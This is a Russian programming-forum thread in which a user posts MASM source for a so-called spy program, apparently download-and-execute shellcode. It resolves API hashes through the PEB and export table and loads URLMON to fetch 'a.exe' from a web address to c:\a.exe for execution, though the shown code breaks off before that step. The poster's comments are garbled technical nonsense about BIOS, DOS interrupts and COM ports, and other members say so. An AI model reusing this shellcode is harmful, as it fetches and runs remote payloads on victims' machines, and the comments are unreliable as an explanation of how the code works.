Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.08.2012, 22:37   #1
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию Шпионская прога

Шпионская рограмма, прошу модераторов не закрывать тему, данный код не вредит компьютеру, я проверял его,специально отключил антивирус,программа скачивает dll-ки

Привожу исходник
[GODE]

Програма выполняет следующее

.586
.model flat,stdcall
option casemap:none

include c:\masm32\include\windows.inc Тут подключаются необходимые библиотеки
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib


.data Секция дата используется для перессылки данных
shelldatabuffer db 1024 dup(0) резервируется 1024 байта
shellcodebuffer db 2046 dup(0) резервируется 2046
downshell db 'down exploit',0 функция которая используется для загрузки библиотек ядра
.code
start:
invoke MessageBoxA,0,offset downshell,offset downshell,1 отправка собщения об успешной загрузке
invoke RtlMoveMemory,offset shellcodebuffer,00401040H,256 Поиск точек входа в системный процесс для связки с dll- библиотекой
mov eax,offset shellcodebuffer получения дескриптора указывающего на 00401040H адресс dll и сохранение в регистре eax
jmp eax оператор перехода с сохранением на текущей указатель
somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h ,90h,90h,90h,90h,90h,90h,90h,90h,90 h - объявляет службе BIOS - усройство занято(диск c)
@@shellcodebegin:
call @@beginaddr - создание таблицы прямого доступа(хеш-таблицы) - для поиска

@@beginaddr:
PUSH 03H - функция прерывания
jmp @@realshellcode передача управления рограмме и сохранение состояния регистров и флагоф(сохранения состояния вычислительной системы)
myExitProcess dd 073e2d87eh адресс завершения процесса
myWinExec dd 00e8afe98h Запуск заданной прилкдной программы
myLoadLibraryA dd 0ec0e4e8eh адресс загружемого модуля
dll db 'URLMON',0,0
myUrlDownFile dd 0702f1a36h загрузка файла в %SYSTEMROOT%, то есть загружаемы модуль получает дескриптор процесса dll-ки для установки точки входа
и связывается с dll - блиотекой и выполняет ее загрузку в %SYSTEMROOT%
path db 'c:\a.exe',0 возвращает текущей путь, после оплучения указателя EDI на начало исполняемого модуля
url db 'http://www.сайт/a.exe',0 сайт с которого произвести загрузку dll-ки

@@realshellcode:
POP ECX обнуления регистра ECX - это функция соглашения ранне вызванных и сохраненных функции и EDI
POP EDI
SCASD ;edi+4 замена адресса, задается смещение в 4 байти, относительно начального адресса указателя на модул
db 67h,64h,0A1h,30h,00h
mov eax, [eax+0cH] вызова функции перехвата вектора обработки пользовательских прерыванй,посредством рерывания 0CH смещается относительно , регистра eax
mov esi, [eax+1cH] релизует низкоуровневый перехват системного таймера, вызвывая блокировку прерываний контроллера в режиме ядра, записваются в регистре eax cо смещением,
lodsd перписывает байт,чей адресс впамяти определяется парой регистров DS:SI в регистре al
mov ebp, [eax+08H] со смещением, отонсительно eax mov загружает перехваченную функцию перехвата прерывания для доступа к ntoskrnl.exe, где сосредоточеня ядерные функции(блокируются прерывания MS-DOS) + смещение относительно
@@next2:
PUSH ECX
@@next3:
MOV ESI,[EBP+3Ch] Прерывание MS-DOS, команда открытия созданного файла(исполняемого модуля в дирректории C:\a.exe',0 ) - смещение по EBP
MOV ESI,[EBP+ESI+78h] команды прерываний для COM - порта, используются дли синхронизации клиент-сервеных процессов,записываются со смещением по двум регистрам EBP+ESI
ADD ESI,EBP
PUSH ESI установка укаателя на исполняемый модуль ESI
MOV ESI,[ESI+20h] указател на завершения программы
ADD ESI,EBP смещение на указатель ESI односительно регистра EBP (операция сдвига)
XOR ECX,ECX
DEC ECX
@@next:
INC ECX
LODSD
ADD EAX,EBP повторная операция сложения(сдвига), указатель наисполняемую программу установлен по адресу EAX
XOR EBX,EBX обнуление регистров
@@again:

Последний раз редактировалось djonatan98; 17.08.2012 в 22:43.
djonatan98 вне форума Ответить с цитированием
Старый 17.08.2012, 23:08   #2
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,709
По умолчанию

смысл данной темы какой?
p51x вне форума Ответить с цитированием
Старый 18.08.2012, 13:07   #3
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Просто описал функционал даной программы
djonatan98 вне форума Ответить с цитированием
Старый 18.08.2012, 13:12   #4
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,709
По умолчанию

так я и спрашиваю - нафига это на форуме?
p51x вне форума Ответить с цитированием
Старый 18.08.2012, 14:46   #5
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Ну во первых не уверен. что правильно описал дельта смещение по адресу 03ch,хотел уточнить правильно ли я описал функционал,программа компилируется работает
djonatan98 вне форума Ответить с цитированием
Старый 18.08.2012, 15:11   #6
Goodwin98
equ asm
Участник клуба
 
Аватар для Goodwin98
 
Регистрация: 02.05.2009
Сообщений: 1,605
По умолчанию

Во-первых прога тупо не о конца здесь, во-вторых не оформлена боле мнее нормальным образом, в-третьих на вопрос "на кой она здесь нужна?" так и не было ответа.
Какой вопрос - такой ответ. Не забываем пользоваться поиском, гуглом.
Помощь в выполнении работ по ассемблеру ICQ:2725322O4
Goodwin98 вне форума Ответить с цитированием
Старый 18.08.2012, 19:48   #7
Rock-n-Rolla
Форумчанин
 
Регистрация: 11.01.2012
Сообщений: 177
По умолчанию

во-первых, комментарии полный бред
во-вторых, программу писал кто-то другой http://www.google.ru/#sclient=psy-ab...gc.r_pw.&cad=b
зачем он сюда её выложил, да ещё и наркоманскими коментариями совершенно не понятно

большая часть программы (та, которая с наркоманскими коментариями) реализует защиту от эмуляции, в конце должен быть ещё один кусок который собственно осуществляет закгрузку файла из интернета
progromore.i2p - первый русскоязычный портал программистов в скрытосети
Rock-n-Rolla вне форума Ответить с цитированием
Старый 19.08.2012, 13:00   #8
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Я не претендую на точность, так как не писал такие программы, просто решил изучить структуру кода
djonatan98 вне форума Ответить с цитированием
Старый 19.08.2012, 13:02   #9
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Что не так в коментариях-?
djonatan98 вне форума Ответить с цитированием
Старый 19.08.2012, 16:04   #10
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Удаляю тему,лучше найду материал по интересней
djonatan98 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
прога на c# NekoWins Помощь студентам 2 09.05.2012 01:04
прога dozor Win Api 1 07.11.2011 20:45
Прога на Си kostan Помощь студентам 0 30.09.2011 21:40
прога и чюжая прога benjaminfran Общие вопросы Delphi 5 28.03.2008 15:07
прога vovik Свободное общение 2 02.07.2007 10:13